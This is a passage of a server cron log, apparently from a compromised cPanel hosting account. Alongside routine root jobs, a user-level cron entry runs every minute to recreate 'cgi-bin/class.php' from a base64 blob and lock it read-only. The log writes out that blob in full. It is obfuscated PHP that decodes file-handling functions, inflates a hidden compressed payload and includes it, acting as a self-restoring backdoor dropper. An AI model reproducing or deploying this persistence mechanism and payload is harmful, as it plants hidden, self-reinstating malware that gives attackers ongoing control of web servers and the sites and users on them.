g2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 13:49:01 server CROND[25850]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 13:50:01 server CROND[25913]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 13:50:01 server CROND[25914]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 13:50:01 server CROND[25915]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 10 13:50:01 server CROND[25916]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 10 13:50:01 server CROND[25922]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 13:51:01 server CROND[26024]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 13:52:01 server CROND[26078]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 13:53:01 server CROND[26231]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 13:54:01 server CROND[26280]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 13:55:01 server CROND[26333]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 13:55:01 server CROND[26334]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 13:55:01 server CROND[26335]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 13:56:01 server CROND[26437]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 13:57:01 server CROND[26496]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 13:57:01 server CROND[26497]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 10 13:58:01 server CROND[26553]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 13:59:01 server CROND[26707]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 14:00:01 server CROND[26772]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Apr 10 14:00:01 server CROND[26774]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 14:00:01 server CROND[26776]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 14:00:01 server CROND[26777]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 14:00:01 server CROND[26775]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 10 14:01:01 server CROND[26890]: (root) CMD (run-parts /etc/cron.hourly)
Apr 10 14:01:01 server CROND[26891]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 14:01:01 server run-parts(/etc/cron.hourly)[26890]: starting 0anacron
Apr 10 14:01:01 server run-parts(/etc/cron.hourly)[26904]: finished 0anacron
